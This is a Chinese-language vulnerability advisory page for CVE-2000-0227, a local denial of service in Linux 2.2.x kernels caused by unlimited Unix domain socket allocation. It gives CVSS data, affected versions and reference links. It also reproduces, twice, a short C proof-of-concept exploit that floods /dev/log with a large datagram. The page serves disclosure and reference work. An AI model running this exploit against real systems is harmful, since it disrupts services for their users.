CVE-2000-0227
CVSS2.1
发布时间 :2000-03-23 00:00:00
修订时间 :2016-10-17 22:06:38
NMCOES    

[原文]The Linux 2.2.x kernel does not restrict the number of Unix domain sockets as defined by the wmem_max paremeter, which allows local users to cause a denial of service by requesting a large number of sockets.


[CNNVD]多个Linux厂商的域套接字的拒绝服务漏洞(CNNVD-200003-043)

        Linux 2.2.x kernel存在漏洞,他没有根据wmem_max参数的定义限制Unix域套接字的数量,本地用户可以通过请求超大数量的套接字触发拒绝服务。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.2.12Linux Kernel 2.2.12
cpe:/o:linux:linux_kernel:2.2.14Linux Kernel 2.2.14
cpe:/o:linux:linux_kernel:2.3.99:pre2Linux Kernel 2.3.99 pre2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0227
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0227
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200003-043
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2000-03/0254.html
(UNKNOWN)  BUGTRAQ  20000323 Local Denial-of-Service attack against Linux
http://marc.info/?l=bugtraq&m=95421263519558&w=2
(UNKNOWN)  BUGTRAQ  20000328 Re: Local Denial-of-Service attack against Linux
http://www.securityfocus.com/bid/1072
(UNKNOWN)  BID  1072
http://xforce.iss.net/static/4186.php
(UNKNOWN)  XF  linux-domain-socket-dos(4186)

- 漏洞信息

多个Linux厂商的域套接字的拒绝服务漏洞
低危 边界条件错误
2000-03-23 00:00:00 2005-10-20 00:00:00
本地  
        Linux 2.2.x kernel存在漏洞,他没有根据wmem_max参数的定义限制Unix域套接字的数量,本地用户可以通过请求超大数量的套接字触发拒绝服务。

- 公告与补丁

        
        Linux kernel 2.2.14
        

- 漏洞信息 (19818)

Linux kernel 2.2.12/2.2.14/2.3.99,RedHat 6.x Socket Denial of Service (EDBID:19818)
linux local
2000-03-23 Verified
0 Jay Fenlason
N/A [点击下载]
source: http://www.securityfocus.com/bid/1072/info

A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable. 

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
} 		

- 漏洞信息

9567
Linux Kernel wmem_max Paremeter Local DoS
Local Access Required Denial of Service
Loss of Availability Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-03-23 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple Linux Vendor Domain Socket Denial of Service Vulnerability
Boundary Condition Error 1072
No Yes
2000-03-23 12:00:00 2009-07-11 01:56:00
This vulnerability was posted to the Bugtraq mailing list on March 23, 2000 by Jay Fenlason <fenlason@clearway.com>

- 受影响的程序版本

RedHat Linux 6.2 i386
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
Linux kernel 2.3.99 -pre2
Linux kernel 2.2.14
+ Red Hat Linux 6.2
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ Sun Cobalt RaQ 4
Linux kernel 2.2.12
Linux kernel 2.2.15 pre16

- 不受影响的程序版本

Linux kernel 2.2.15 pre16

- 漏洞讨论

A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable.

- 漏洞利用

#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;string.h&gt;

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i &lt; bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &amp;SyslogAddr, sizeof(SyslogAddr) );
return 0;
}

- 解决方案

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站